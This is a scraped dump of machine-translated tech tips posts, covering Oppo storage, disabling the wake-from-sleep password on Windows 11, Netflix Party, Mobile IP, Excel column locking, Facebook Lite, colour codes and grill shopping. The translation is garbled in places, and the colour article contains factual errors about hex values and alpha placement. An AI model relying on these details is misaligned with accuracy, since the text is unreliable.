fixing blue screen error PAGE FAULT IN NONPAGED AREA or STOP 0x00000050 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq4tMSaZK6mk6S%2Fs7HCrZibpJVisrO%2BzqtkqKZdrLavsM6wqmZpYA%3D%3D\n","link":"/post/how-to-fix-whea-uncorrectable-error-on-windows-10/","section":"post","tags":null,"title":"How to fix WHEA Uncorrectable Error on Windows 10"},{"body":"Recently you have complained about the memory capacity of Oppo phone. It is too little for them to install applications or not enough memory to save more phone contacts. This situation occurs mainly with devices with low internal memory capacity. So how to increase the capacity of Oppo phone, is it the same way to increase iPhone capacity? Please refer to the steps below for more details.\nAndroid phone full of memory, what to do to fix? Remove dead files of deleted applications to free up memory on Android Tips to speed up Android phones at a glance 1. Clean up Oppo memory\nAfter a period of use, all smartphones in general and Oppo in particular have signs of slowing down, one of the slow causes is that your device is full of memory. Fortunately, oppo phone has a built-in feature to help you clean up Oppo memory, speed up Oppo phones quickly without using 3rd party apps. You do the following:\nStep 1:\nFrom the application menu, go to the Security Center and select the Clean up and Boost feature as shown below.\n  Step 2:\nThe system will now automatically scan unnecessary data, junk and ad files on the device to increase the best Oppo phone capacity. Wait for this process to finish, select Delete to optimize Oppo phone memory.\n   2. Uninstall unnecessary applications\nMost of us often install a lot of applications on the phone, this number sometimes reaches dozens. However, for daily use, it only counts up to the fingertips. Therefore, deleting unnecessary applications on the phone is always an option to help you optimize, increase the capacity of Oppo phones effectively and safely.\nStep 1:\nFirst of all, go to Settings and access to the App management section. Here you select the Installed tab and filter out unnecessary and less used applications that are installed on the device memory.\n   Step 2:\nSelect any application you want to delete and select Uninstall and confirm that Ok will increase the Oppo phone capacity significantly.\n   3. Delete unnecessary photos, videos, or backups\nIf memory Oppo is full, you need access to Photos app (Photos), check and delete unnecessary photos and videos to free up Oppo memory, increase phone capacity. In addition, you can also save storage space on your phone by backing up photos and videos to Google Photos.\n  4. Use the memory card as the main memory\nIf you want to increase the capacity of the Oppo phone effectively but do not want to delete the applications or images and videos in your phone, then take the memory card as the internal memory of Oppo phone.\nNote:\nYour Oppo device must be running Android 6.0 or higher. The memory card in use must be Speed ​​Class 3 or higher. Turning the memory card into internal memory on Oppo will give you more space to store data and increase device memory. You can find out more about this procedure in the tutorial How to turn the memory card into internal memory on Android 6.0 to perform more accurate operations.\nSo, we have just completed the steps to increase the capacity of Oppo, it is too easy, right? If your phone is in need of this fix, quickly do it, please use the memory for your phone better.\nHope you are succesful.\nSee more:\nHow to check fake and real memory card on Android phone 5 habits unknowingly make your Android phone slower Instructions for checking the available RAM capacity of your device ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGemL%2BmrdKeZK2glWKworzAnKCtsV2ks267z6mmZqiYpLumecyepKiqqQ%3D%3D\n","link":"/post/how-to-increase-the-capacity-of-oppo-phone-memory/","section":"post","tags":null,"title":"How to increase the capacity of Oppo phone memory"},{"body":"However, for those who often have to sleep the computer to do other work, entering the password every time they come back takes a lot of time.\nSo is there a way to disable the password every time the Windows 11 computer is woken from Sleep mode? Let's go find the answer.\nWhy do you need a password after waking your Windows 11 computer from Sleep?\nSimply put, this feature helps you protect the data stored on your computer. Without it, bad guys can easily wake up your Windows 11 computer and then access it to rummage, steal data or sabotage what you're doing.\nSo is it safe to disable the password when waking up a Windows 11 computer?\nThe answer depends on your work environment. If you regularly work in a safe environment, this should not have a bad effect. However, be careful if your work environment is not very safe.\nHow to turn off Windows 11 computer password when waking from Sleep mode Depending on the situation, you can do this in a number of different ways. However, if your computer is stable, without any errors, you should use the adjustment method using the Settings application right below:\nMethod 1: Use the Settings app You press Win + I to open Settings then click on Accounts in the left sidebar.\n  Click Sign-in options.\n  Find the option If you've been away, when should Windows require you to sign in again? in the Additional settings section.\n  Click the drop-down arrow where When PC wakes up from sleep and then select Never.\n  Close the Settings app and then restart your computer. From now on, your computer will no longer ask you for a password every time you wake up from Sleep mode.\nMethod 2: Use Group Policy Editor (not applicable to Windows 11 Home) Press Win + R on your keyboard then type gpedit.msc and then press Enter.\n  In the Group Policy Editor window, navigate to the following folder:\nComputer Configuration \u0026gt; Administrative Templates \u0026gt; System \u0026gt; Power Management \u0026gt; Sleep Settings   Find and double-click the value named Require a password when a computer wakes (plugged in).\n  Select Disable\n  Then click OK to save the settings.\n  Now you do the same with the Require a password when a computer wakes (on battery) value.\n  It is done!\nMethod 3: Use CMD You can also use CMD to disable the password every time you wake up your Windows 11 computer. The steps are as follows:\nPress Win + R to open Run then type CMD. Press Ctrl + Shift + Enter to open CMD with Admin rights.\n  Type the following command and then press Enter:\npowercfg /SETDCVALUEINDEX SCHEME_CURRENT SUB_NONE CONSOLELOCK 0   Enter the following command and then press Enter:\npowercfg /SETACVALUEINDEX SCHEME_CURRENT SUB_NONE CONSOLELOCK 0   After the commands have finished running, you just need to restart the machine to complete the installation process.\nMethod 4: Use Registry Editor Of course, the Registry Editor can also control this problem.\nPress Win + R to open Run then type regedit and then press Enter.\n  In the Registry Editor window, navigate to the Microsoft folder according to the following path:\nComputerHKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoft   Right-click an empty space and select New.\n  Select Key and then rename the folder to Power.\n  Right-click on the newly created Power folder and select New \u0026gt; Key then name this new folder PowerSettings.\n  Select the PowerSettings folder then right-click the empty space on the right and select New.\n  Click DWORD (32-bit) Value.\n  Name this value DCSettingIndex.\n  Double-click DCSettingIndex and then enter 0 in the Value data box and then click OK.\n  Continue to right-click on the empty space and then select New \u0026gt; DWORD (32-bit) Value.\n  This time, name the value ACSettingIndex.\n  Double-click ACSettingIndex and then enter 0 in the Value data box and then click OK.\n  Once done, exit Registry Editor and then restart your computer to complete the installation.\nHow to stay safe after disabling the password Because you've disabled the need to enter a password every time you wake up from Sleep, anyone can access your Windows 11 computer every time you go to sleep and then go out. Therefore, you need to maintain safety with a few tips below:\n1. Always turn off your computer if you have to go out for too long If you have to go out for too long, you need to turn off the computer instead of just Sleep. This will prevent bad guys from getting access to your computer while you do your work outside.\n2. Dynamic Lock mode setting You can set up a Windows 11 computer to lock itself using Dynamic Lock.\nIs Dynamic Lock really secure? In terms of security, Dynamic Lock is not very secure because it is just a backup protection measure. TipsMake.com recommends against relying too much on Dynamic Lock. This feature is only really safe if you lock your computer as soon as you are no longer around within a meter or two instead of the connection range of Bluetooth waves (maybe up to several tens of meters).\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZKmZo6jEsL7DZqmeqaWawLV5wJ%2BrnqpdqLmmsc9mpqdlp567pbvWrGRqaQ%3D%3D\n","link":"/post/how-to-turn-off-password-request-after-sleep-on-windows-11/","section":"post","tags":null,"title":"How to turn off password request after Sleep on Windows 11"},{"body":"A new, free tool for the\u0026nbsp;Google Chrome browser\u0026nbsp;called\u0026nbsp;Netflix Party\u0026nbsp;could make\u0026nbsp;social distancing and self-quarantine\u0026nbsp;a whole lot more tolerable. It lets you start, stop and pause a Netflix movie or show you watch at the same time as a group of friends and family, without the hard work of trying to synchronize everyone. (\"Three, two, one ... Play!\") There's also a side chat bar where you and your friends can discuss what's going on in the movie -- much like you would if you were sitting together on the couch.\n The sudden and severe lack of socializing as a result of trying to stem the spread of the new coronavirus puts a particular strain on children who have been removed from school, and on people who live alone. (Here's everything you need to know about staying healthy, educated and sane during the COVID-19 pandemic.)\nNetflix Party helps bridge the gap by letting you and your friends simultaneously stream shows and movies on your desktop, so you're always watching the same thing at the same time. Read on for how to download, install and use the Netflix Party extension to sync your movie-watching with family and friends.\nEveryone in your group needs a Netflix account In order for this to work, everyone you send an invite to will need to have access to Netflix. If they don't have an account, Netflix is offering a free 30-day trial for new subscribers. If they're not a new subscriber, they can reactivate their account for $9 a month and cancel at any time.\nDownload the Google extension After everyone has logged in to Netflix on their computers, they'll need to download the Netflix Party extension. Here's how.\n1. Visit netflixparty.com in your Google Chrome browser.\n2. Click Get Netflix Party for free.\n3. You'll be redirected to the Google Chrome web store page to download the extension. Click Add to Chrome.\n4. A pop-up box will open. Select Add Extension. You'll now see a grey NP icon in your browser toolbar.\u0026nbsp;\nStart watching movies with friends   Now that you've got the extension downloaded, you can begin watching shows and movies with your friends and family. Here's how to get started.\n1. Open a new tab in your Google Chrome browser and log in to Netflix.\n2. Find a show or movie you'd like to watch and click on it.\u0026nbsp;\n3. You'll now see that the NP (Netflix Party) icon has changed from gray to red. Click the icon and select Start the party. You'll become the host, so you can either select the option for you to be the only controller pausing and playing the show, or you can let anyone take control.\u0026nbsp;\n4. Copy the URL from the pop-up box and send it to everyone you want to invite to the group.\n5. The chatroom will appear on the right side of the screen. From there, you'll be able to see when someone joins the party.\n6. Now you can laugh, cry and howl with your family and friends, and feel a little less on your own.\nNeed more things to do during this time of social distancing? Here's free entertainment to help you get through coronavirus social distancing, 7 free video chat apps to use if you're social distancing and ways you can help during the coronavirus pandemic.\nncG1vNJzZmismaXArq3KnmWcp51ktqd52KisZqCRq7KvwIytqaKdlGK7psDFpaCxZaCWv7XFjK2mZq%2BRqbCpecyoraKdo2LEqsDHZp2roZWjsbR506ilop%2BYqcBuxc6uqWammZy1tQ%3D%3D\n","link":"/post/if-you-haven-t-tried-netflix-party-to-watch-movies-with-friends-tonight-s-your-night/","section":"post","tags":null,"title":"If you haven't tried Netflix Party to watch movies with friends, tonight's your night"},{"body":"Mobile IP ( Mobile IP ) is a standard proposed by the Internet Engineering Task Force (IETF ) and presented in detail in RFC 3344 and RFC 5944 (RFC 5944 newly published in January). 11/2010). Mobile IP is designed to allow users with their mobile devices to move from one network to another while maintaining ongoing information flows. Along with the development of 4G network technology, Mobile IP is still being researched and improved to ensure the mobility of devices in the future generation network. We hope that this article will help you understand the principles of operation and some basic issues of mobile IP.\nIn the design of IP protocol, each device when connecting to the network will be attached to a certain IP address. This is considered as the physical connection of the device to the internet. When exchanging data on the network the device is assumed to not change the IP address. If a contact node CN (Correspondent Node) sends the packet to the MN ( Mobile Node ) mobile node , the packet will first be routed to the HN ( Home Network ) resident network without depending on the current location. at MN's. Then, the mobile IP is responsible for forwarding this packet to the MN to maintain an uninterrupted flow of information between the two devices.\nIn order to understand the operational principles of IP Mobile, we need to become familiar with some key terms:\n- Mobile MN button: is a device that installs Mobile IP client software. The MN is always assigned with a fixed IP called the Address of Resident HA (Home Address). In figure 1 below, the permanent address of the MN will be 12.1.2.3/24. When the MN is in the permanent network, the communication process is normal, the mobile button proceeds to send and receive packets as a normal device.\n- If the MN moves out of the permanent network, the MN needs to have a HA Agent (Home Agent) on behalf of the device. The role of HA is to receive information sent to the MN and continue to forward to the new address of the MN.\n- When the MN moves from the resident network to the FN (Foreign Network) temporary network, it will be provided with a temporary address called CoA (Care of Address). MN is responsible for registering with this new CoA address. The MN may receive this address from a DHCP server or use the IP of the FA (Foreign Agent) temporary agent.\nYou might be wondering how to make the MN determine whether it has moved away from the resident network or search for a new FA in the temporary network. This problem will be solved by the HA and FA by periodically sending broadcast messages on their local networks, the MN receives these packets and determines the necessary information. This process is known as Agent Discovery.\nSo how does Mobile IP work to maintain a constant stream of data when the device moves to a different network from the new IP address? To answer this question, we must see how to send packets to the MN when they are in the temporary network in Figure 1 below:\n  Analysis:\n1. In this illustration, the R1 router acts as a HA for the mobile node. When the MN moves to a temporary network, it will register the CoA address by sending a 'MIP registration' packet to the resident representative HA.\n2. The HA uses the CoA address received in step 1 to update the registration table (MIP Registration Table). This registration table stores the mapping between permanent, temporary and some related information such as registration deadline.\n3. When the packet is sent from the CN to the permanent address of the MN, the HA resident representative will act as an intermediary to receive this packet and then redirect them to the current position of the MN.\n4. HA uses a \"packet\" method to transfer information to the MN by adding an external IP header (Outer IP header) to the original IP-in-IP tunneling and forwarding packet. CoA address that MN has registered. In the example illustrates the tunnel formed between HA and MN.\n5. Physical Network Card (Physical NIC) removes the external IP header to restore the original packet and transfers it to the virtual network card (Virtual NIC). Executing applications on the MN which are only associated with the permanent address on the virtual network card, so the change of CoA of the device will not interrupt the information flow between the two devices.\nThe process continues until the registration period expires (or MN moves to a new location). When this happens, MN will proceed to re-register with HA. When the MN returns to the permanent network, it no longer needs mobility, so the MN sends a request to cancel the mobile registration to the HA, stating that it is \"at home\" so that the HA does not perform the tunnel and clears. remove temporary addresses in the previous registration table.\nAs such, we have just explored the basic operational principles of Mobile IP. If we pay attention, we will see that this protocol has a disadvantage: a large delay (because the packet must first go to HA and then to MN) so it will affect time applications. real-time application. Therefore, many improvements have been made to Mobile IP to increase efficiency and reduce delay.\nThe next section will explore some of the issues related to Mobile IP.\n1. TR (Triangular Routing) triangular routing:\n  The MN after receiving the original packet will know the IP address of the CN correctly. Therefore, MN can send packets directly to the CN or via the tunnel to HA by transferring help. The direct sending of packets to CN will be the optimal solution to minimize the delay when sending / receiving information between MN and CN. This process is called triangular routing. However, in fact some routers and firewalls are usually configured with the \"ingress filtering\" function to prevent address spoofing attacks. This function will block packets with source IP addresses that are not on the local network subnet. In the figure 2, the packet sent from MN to CN will have IP source of 12.1.2.3, not belonging to the subnet of 15.2.4.0/24, so it will be removed. To solve this problem, mobile IP offers Reverse Tunneling solution. Accordingly MN will transfer the packet through the tunnel to HA before the transitional HA for CN (see steps 1, 2 and 3 in figure 2).\nIn order to improve routing efficiency, people give a solution to allow MN after identifying the IP address of CN, the MN will send the current CoA information directly to the branch. The CN will maintain the link mapping between the permanent address and the CoA of the MN (similar to HA) for a certain period of time. If this mapping is still valid, CN and MN will exchange data directly with each other without going through HA. If the mapping does not exist or is expired, the CN will proceed to send the packets to HA, then from HA will move to MN as normal, then MN can send CoA back to CN.\n2. FA Resident Representative (Foreign Agents)\nUsing a real IP address (Public IP) to register as illustrated above will lead temporary networks to reserve a number of real IPs for mobile devices. If the number of MNs moving to the temporary network is too high, it will lead to a situation where there is not enough IP to provide for the new MN. To solve this problem, mobile IP has added the concept of a temporary agent FA (Foreign Agents). When the presence of FA is present, MNs will share FA IP to make their CoA. In figure 3 below CoA of MN will be IP router R2 15.2.4.1/24.\n  The steps from 1 to 4 are similar to the figure 1. However, the tunnel is formed between HA and FA and not between HA and MN. At FA, the original packet will be restored by removing the external IP header. After that, the FA based on MAC address information has its ARP table to send information to MN's current location correctly.\n3. NAT and mobile IP\nWhen the MN is behind a NAT device, the IP-in-IP tunnel between HA and MN cannot be performed, because the CoA address cannot be accessed directly from the external network. To solve this problem, the mobile IP executes the encapsulation of 'IP packet' in 'UDP segment' and uses the IP-in-UDP tunnel to send information (see details of IP-in-UDP tunneling in RFC). 3519).\n4. Forwarding\nIf MN moves from this temporary network to another temporary network, it will transfer from the old FA (FAold) to a new FA (FAnew), then during the transition from FAold to FANew, the package information will continue to be moved to FAold. And to reduce the number of lost packets due to this problem, people have improved the forwarding feature to allow FAold to forward the information it received to FAnew.\n  Conclude\nHere we have explored the basics of Mobile IP mobile management protocols that operate at the network layer (Network layer). Mobile IP was designed by IETF to solve mobile Internet problems. Since the advent of MIPv4 (Mobile IP version 4), there have been a lot of improvement studies to reduce the time from the time MN moves to the time the HA receives the CoA information of MN. And now, MIPv6 (Mobile IP version 6) is also being researched and completed.\nThe author is currently a lecturer of Saigon Technology Institute - SaigonCTT. For information on the article, please email info@saigonctt.com.vn\nncG1vNJzZmismaXArq3KnmWcp51kurCuyKWcZqGgYrqwrsilnGahoA%3D%3D\n","link":"/post/mobile-ip-mobile-ip/","section":"post","tags":null,"title":"Mobile IP (Mobile IP)"},{"body":"This helps others to still be able to see the content without having to set the password of the Excel file to hide the entire content or have to perform hidden column manipulation in Excel. The following article will guide you how to lock columns in Excel.\nInstructions for locking columns in Excel Step 1:\nYou open the Excel file to lock the column and then black out the entire Excel table . Then click anywhere in the data and select Format Cells… in the displayed list.\nStep 2:\nNow display the new interface, we click on the Protection tab and uncheck the Locked item . This operation helps to completely remove the lock for the Excel file, click OK to save it.\n  Step 3:\nReturn to the data table, highlight the column to be locked, then right-click and select Format Cells . Then check the Protection tab and check the Locked section to lock this column only. If you want to lock multiple columns, highlight those columns.\n  Step 4:\nAlso click on that column again and then click on the Review tab on the Ribbon.\n  Then look down below in the Protect group and click on the Protect sheet feature .\n  Now display the new window interface, enter your own password in the Password to unprotect sheet box to proceed to lock the selected Excel data column with the password and then click OK to save.\n  So when you click on this data column, the message will be displayed as shown below. Others cannot click on the column to proceed with content editing.\n  Step 5:\nTo unlock the Excel column , click the Review tab again and select Unprotect Sheet to remove the password. We will then be asked to enter the password we used before to unblock the Excel column.\n  ncG1vNJzZmismaXArq3KnmWcp51kwLWxz6xkraddobykt4ycpqWtnaPAbrXNZpyxm5Wh\n","link":"/post/steps-to-lock-columns-in-excel/","section":"post","tags":null,"title":"Steps to lock columns in Excel"},{"body":"Facebook Lite is an Android application designed for devices with slow connections and low configurations. Many people wonder how Facebook Lite is different from the original Facebook application. This article will answer that question.\nLow-profile Android smartphone apps Facebook's main application weighs 57 MB and Facebook Lite weighs only 1.59 MB, accounting for about 96.5% less space. Facebook Lite is designed to use less RAM and CPU, so you get a smoother experience on cheap phones and poor performance. Facebook Lite even works on older phones that are no longer supported for normal applications.\nIn addition, Facebook Lite also uses less system resources, it is actually designed to operate on slow or unstable Internet connections such as 2G networks or in rural areas with poor signals. To do this, it uses less data by not downloading high-resolution images or automatically playing videos. This also helps users save more when using limited mobile data plans.\nHowever, Facebook Lite has almost full features like regular Facebook apps. You can still like and comment on your friends' posts, visit profiles, post to your Timeline and do everything you normally do with Facebook Lite.\nComprehensive guide for Facebook Timeline    The difference between Facebook and Facebook Lite is in its interface. Facebook Lite has removed some buttons and a few other factors. Users will have the feeling that they are using the old version of Facebook but its functionality is still stable. On phones with smaller screens, larger user interface components will help you see more clearly but it also makes you feel a bit oversized. In the screenshot below, Facebook Lite is on the left and the Facebook application is usually on the right.\n   Should you use Facebook or Facebook Lite? Facebook Lite has all of Facebook's features, uses less system resources, less data and works on slower connections. The only downside is that you will feel the interface is quite simple. The interface has been removed some components, large square buttons, download bar, users feel like they are using Facebook applications since the late 2000s.\nIf you use a good network data plan, you should use a normal Facebook application. On the other hand, if you use an old phone or want to save mobile data, you can try Facebook Lite because it weighs only 2MB.\nSee more:\nAll about how to use Facebook Messenger Lite Does Facebook application consume too much of your mobile data? This is how to fix it How to turn off the Facebook application's default browser ncG1vNJzZmismaXArq3KnmWcp51kwamxjJ2gn56Vp7Kvr8RmmZ6sp5qyr3nFmpqemp%2BkuG6tzZ1kn5mTmq%2Bwu8pmo6KslQ%3D%3D\n","link":"/post/the-difference-between-facebook-and-facebook-lite/","section":"post","tags":null,"title":"The difference between Facebook and Facebook Lite"},{"body":"Halloween is coming soon. Indispensable decorations are pumpkins carved with strange and unique shapes for Halloween.\n  The most beautiful collection of pumpkins for Halloween celebrates the creativity and talent of the people.\n  Photo pumpkin halloween\n  Beautiful pictures of halloween pumpkins\n  Nice picture of halloween pumpkin\n  Nice picture of halloween pumpkins\n  Photo poisonous pumpkin halloween\n  Photos of the most beautiful halloween pumpkins\n  Photo of beautiful halloween pumpkin\n  Pumpkins for beautiful and poisonous halloween\n  Pumpkin for the most beautiful halloween day\n  The most beautiful halloween pumpkin\n  Beautiful and unique halloween pumpkins\n  The most beautiful halloween pumpkin sculpture\n  Halloween pumpkins sculpted beautifully\n  Pumpkin halloween pattern most beautiful\n  Beautiful halloween pumpkin lights\n  The most beautiful pumpkin lamp\n  Beautiful halloween pumpkin images\n  Beautiful pictures of the most beautiful halloween pumpkins\n  Photos of the most beautiful halloween pumpkins\n  Unique and beautiful halloween pumpkin pictures\n  Unique halloween pumpkin pictures\n  The most beautiful halloween pumpkin qur images\n  Funny halloween pumpkin pictures\n  Unique halloween pumpkin carving\n  Unique Halloween pumpkin carving\n  Carving the most beautiful halloween pumpkins\n  Carving beautiful halloween pumpkins\n  The most beautiful halloween pumpkin pictures\n  These unique pumpkins for halloween\n  Very good halloween pumpkins\n  Very nice halloween pumpkins\n  The most beautiful and unique halloween pumpkins\n  The most beautiful halloween pumpkins\n  The most beautiful and quality halloween pumpkins\n  The beautiful and quality Halloween pumpkins\n  These special and special halloween pumpkins\n  The most beautiful and unique halloween pumpkins\n  The beautiful and poisonous halloween pumpkins\n  Beautiful and strange halloween pumpkins\n  The beautiful halloween pumpkins\n  The strangest and most beautiful halloween pumpkins\n  Pumpkins for beautiful halloween\n  Beautiful and scary pumpkin\n  Pumpkin unique halloween season\n  The most beautiful halloween pumpkin\n  Beautiful and strange halloween pumpkins\n  Beautiful halloween pumpkins\n  Pumpkin unique and substance halloween\n  Pumpkins unique and beautiful halloween\n  Unique halloween pumpkin\n  Beautifully decorated pumpkin\n  Create beautiful halloween pumpkins\n  Decorate the most beautiful halloween pumpkins\n  Decorate the Halloween pumpkin\n  Beautiful Halloween pumpkin ideas\nHopefully, through the above photos, it will bring you some surprise and admiration in the hands of talented people. If you are looking to create handmade pumpkin ornaments, please refer to the images above!\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKamrKxdl7KiwdOina6kXZ2urbjOsJyepl2lwq68yqKlrA%3D%3D\n","link":"/post/the-most-beautiful-halloween-pumpkins/","section":"post","tags":null,"title":"The most beautiful Halloween pumpkins"},{"body":"When it comes to color output on the screen, there are several ways to encode it. Hex, RGBA and HSLA are 3 of the most commonly used color codes.\nEach color code makes sense in different situations. Today's article will explain the difference between RGB, HEX and HSL.\nWhat is RGB? Starting with the RGB values ​​(Red, Green, Blue) is best, because red, green and blue are the three colors that the screen can use to create quite a lot of other colors.\nrgb(255, 0, 0) is red, because R is maximized. If you set G or B to 255, you get real green or red. Setting them all to 255 at once, you will have white (sum of all colors), and setting all values ​​to 0 will give black. If you add a fourth value (alpha channel, from 0 to 1), you can also get transparency. rgba(0, 0, 0, .5) means semi-transparent black.\nThe RGB balance can change a lot even if you only change the hue of the color, making it difficult for people to manually adjust without a type of RGB generator.\nWhat is hex? Hex is a different way of writing RGB values. Something like #6a79f7 (chrysanthemum blue) maps directly to rgb(106, 121, 247) . 6a is red, 79 is green and f7 is blue.\nFirst, you should know that in the Hex color system, the letters 'af' represent numbers 10 through 15. Second, everything is in base 16. 21 is 2 * 10 + 1 in muscle. number 10, but in hexadecimal it will be 2 * 16 + 1 .\nHex creates hexadecimal codes that are even more difficult for humans than RGB, although they are easy to copy - paste and can have easy-to-remember alphanumeric combinations.\nYou can also add transparency to hex code by putting a value equivalent to a 255 percentage at the beginning, such as: #806a79f7 . 80 in hexadecimal = 126, almost equal to 50% of the maximum value of 255.\nWhat is HSL? HSL has been designed quite a lot for human readability, and it has become popular, especially as an RGB alternative. It works as follows:\nHue means color, and it uses levels of the color wheel to tell you what color you are wearing. If you know the color wheel and position of these main colors, you will be able to tell that 45 is orange and 270 is purple in just 1 second.\n0 = red 60 = gold 120 = green 180 = cyan 240 = blue 300 = bright red Saturation is basically what colors look like. 0% saturation means that the color will only be a gray, while 100% means that it will display fully. If you want to 'hide' the color or make it a bit more floating, you can change this value.\nLightness lets you know how dark or light it is. 0% brightness means the color will be black, regardless of Hue or Saturation settings and 100% brightness will give you white. 50% brightness gives you the most accurate color.\nWith that information, you can immediately know what hsl(0, 100%, 50%) means. It is red! If you want a richer, richer red, try 0, 70%, 40%. With blue, just change 0 to 240 is! HSL also has transparency, which works like RGB. Just add the fourth value (from 0 to 1), for example hsla(240, 70%, 40%, .5) .\nShould use Hex, RGB or HSL? In general, choosing a color model is a fairly small decision in design, but contributes significantly to the end result. In general, Hex code makes copying easy and great in situations where people can't get too involved. RGB / RGBA is suitable for readability and is best used when humans can adjust the transparency. If you need to change colors manually, go with HSL / HSLA.\n\u0026gt;\u0026gt; See more: Standard color code table for programmers, designers\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWknbJusMifnZ6qlaOwpnnBnquwnZWjeqmx12apoJpdlrulecesow%3D%3D\n","link":"/post/what-is-the-difference-between-hex-rgb-and-hsl/","section":"post","tags":null,"title":"What is the difference between Hex, RGB and HSL?"},{"body":"Barbecue has long been one of the familiar dishes and attracts a lot of people, especially when winter comes. But instead of pulling together into a restaurant, many families have bought their own electric grill to enjoy barbecue at home, this is really a not a bad idea. However, not everyone knows which electric grill is good, smokeless, and cheap. So today, quantrimang will help you find out which smoke-free electric cookers are good and cheap, so buy them!\nAny smokeless electric grill good? What is a smokeless electric grill? Any brand of electric smokeless grill? What is the best, cheapest smokeless electric grill? What is a smokeless electric grill? A smokeless electric grill is an electric grill that heats up the surface of the stove, the heat radiating from the stove directly affects the food and cooked them. In particular, using this type of stove, users will not worry about being smoky like when grilling on charcoal stove, wood stove .\n  To do this, the grill often designs parts that prevent the grease contact with the heating elements, preventing smoke from rising. There are many different methods such as collecting grease in a separate corner by creating a groove on the baking surface and collecting excess grease under the tray so that grease does not reach the heating element .\nThe product also comes with a control button on the top of the kitchen that makes it easy to choose the right baking temperature for different foods.\nIn order to better meet the needs of consumers, now smokeless electric sticky rice is also integrated with many other features such as the hotpot cooker, the smokeless BBQ grill .\nAny brand of electric smokeless grill? On the market today, there are many smokeless electric cookers from many different brand names, with all models, designs and types. Some of the following outstanding names may be the ideal choice for you and your family:\nTiross smokeless electric grill\n  \nTiross is known as a leading brand from Poland with guaranteed products of European quality and environmentally friendly. The products of Tiross oven and smokeless grill stand out with a luxurious and beautiful design with new designs and great functions. In particular, the product currently has a variety of models and different prices for users to choose.\nSunhouse smokeless electric grill\n  Perhaps, as Vietnamese consumers, perhaps no one is unaware of the Sunhouse brand. With the criteria towards convenience and user friendliness, Sunhouse smokeless electric grill products possess a diverse, beautiful and extremely compact design. The product focuses on baking features, strong operating capacity, making baking food fast and most convenient. In addition, the price could not be more reasonable, affordable for most Vietnamese users.\nKangaroo smokeless electric grill\n  \nKangaroo grill is considered as one of the best smokeless grill brands today, well responded by housewives. The noticeable advantage of the Kangroo smokeless grill is the modern style, easy to clean, clean, grill food simply, quickly, smart griddle, hygienic.\nPhillips smokeless electric grill\n  \nThe famous Philips home appliances brand from the Netherlands is probably not too strange to Vietnamese consumers. Therefore, the products of Philips kitchen grills and smokeless grills have been trusted and welcomed by women. Products attracted by super-compact design, impressive, versatile, extremely friendly. Besides high quality materials, safety and durability. It not only helps you prepare delicious and attractive baked dishes, but also very convenient and safe for the health of the whole family.\nWhat is the best, cheapest smokeless electric grill? Sunhouse Happy Time HTD4606 smokeless electric grill - Present price: VND 349,000\nHappy Time HTD4606 has a spacious grill surface design that helps users to grill more food, meeting the needs of a large party. Non-stick kitchen surface with golden stone pattern, highly aesthetic.\n  Sunhouse HTD4606 smokeless electric grill has very good heat conductivity, 2 layer thick nonstick layer helps meat cooked more gold better without being burnt. Blisters with handles made of stainless steel make sure to carry the kitchen easily. The kitchen tray has a cleaner, cleaner place of grease and you can use this type of grease / oil for the next round of baking. Especially, when baked, HTD4606 does not consume oil, just to ensure health and save.\nElectric grill grill Tiross TS-966 - Current price: 1,059,000 VND\nNot only possessing an elegant design, the Tiross TS-966 smokeless grill also features a non-stick incandescent heating element and a temperature control button, so you can easily control the temperature and ripeness. of food.\n  The baking tray of the stove is made of super-strong non-stick coating to help food not stick to the tray and easier to clean. The kitchen also comes with a fat tray, support tray for convenience and safety during baking. The product has the ability to limit smoke and save space, is an effective alternative to traditional ovens.\nWith the Tiross TS966 electric grill, you can easily make delicious barbecue dishes or organize a BBQ party at home.\nKitchen Kangaroo KG96N smokeless hot pot - Current price: 1,080,000 VND\nThe Kangaroo KG96N electric hot pot impresses with the convenient 2-in-1 design with the grill and hotpot on the same stove, so you can cook both hotpot and grill, bringing many delicious dishes for all. people enjoy.\n  The kitchen is equipped with a powerful capacity, with a capacity of 1,100W hot pot, 800W electric grill capacity, which helps to heat up extremely quickly, whether baking or hot pot cooking is very convenient. Removable oil pan, removable, very convenient for cleaning and cleaning. Hot pot made of high quality stainless steel alloy, not covered with toxic layers, safe for health.\nIn particular, the kitchen is equipped with a temperature sensor capable of automatically disconnecting electricity when the temperature is too high to help prevent the dish from being scorched while ensuring safety for the user.\nPhilips smokeless desktop grill HD4419 - Current price: 2,089,000 VND\nPhilips HD4419 tabletop grill brings modern design, beautiful black color, contributes to adorn your kitchen space more luxuriously or make the banquet table more lively.\n  The kitchen has a 2-sided design (smooth and ribbed) that can grill all types of food. The surface of the grill is made of durable non-stick coating alloy that helps grill food without the risk of burning without using cooking oil. In particular, the nonstick layer helps you clean the grill easily.\nIn particular, the smokeless Philips grill has a temperature adjustment button for you to adjust to suit each way of processing. On the surface of the blister, there is a slot for the excess oil to flow down the lower oil compartment, limiting excess oil, ensuring health for the whole family.\nAbove we have introduced you to the best smokeless grill today, hope you can make your own choice. If you are having trouble finding a reputable address to buy a smokeless grill, you can come to META.vn. This is one of the prestigious establishments specializing in providing home appliances, kitchens, grills of many famous brands, quality assurance, genuine warranty with competitive prices.\nContact the hotline immediately for a free consultation:\nIn Hanoi: No. 56 Duy Tan, Dich Vong Hau Ward, Cau Giay - Tel: 024.35.68.69.69 In Ho Chi Minh City: 716-718 Dien Bien Phu, Ward 10, District 10 - Tel: 028.38.33.33.66 ncG1vNJzZmismaXArq3KnmWcp51kxKmt02aioqaUYrynecKhnJqoXZi1pq3PZqqmp5uauaa%2F0macpZ2Tqb%2Bqr4ygqaKknGLAqbvUpZtmoV2Xwrp506ibmrE%3D\n","link":"/post/what-kind-of-cheap-cheap-smokeless-electric-grill-should-i-buy-today/","section":"post","tags":null,"title":"What kind of cheap, cheap smokeless electric grill should I buy today?"},{"body":"For just $ 400 or more, you can own one of the most stylish laptops today, not only in design but also in its power. Toshiba Satellite Pro S300\n  Toshiba has launched the Satellite Pro S300 as a desktop replacement for people who are constantly on the move, with all the most important features: 15.4-inch screen, Intel Centrino 2 processor, Support logging with the Toshiba Express Port Replicator option or EasyGuard is its own fingerprint security technology. Satellite Pro S300 also owns RAM up to 3GB and 160 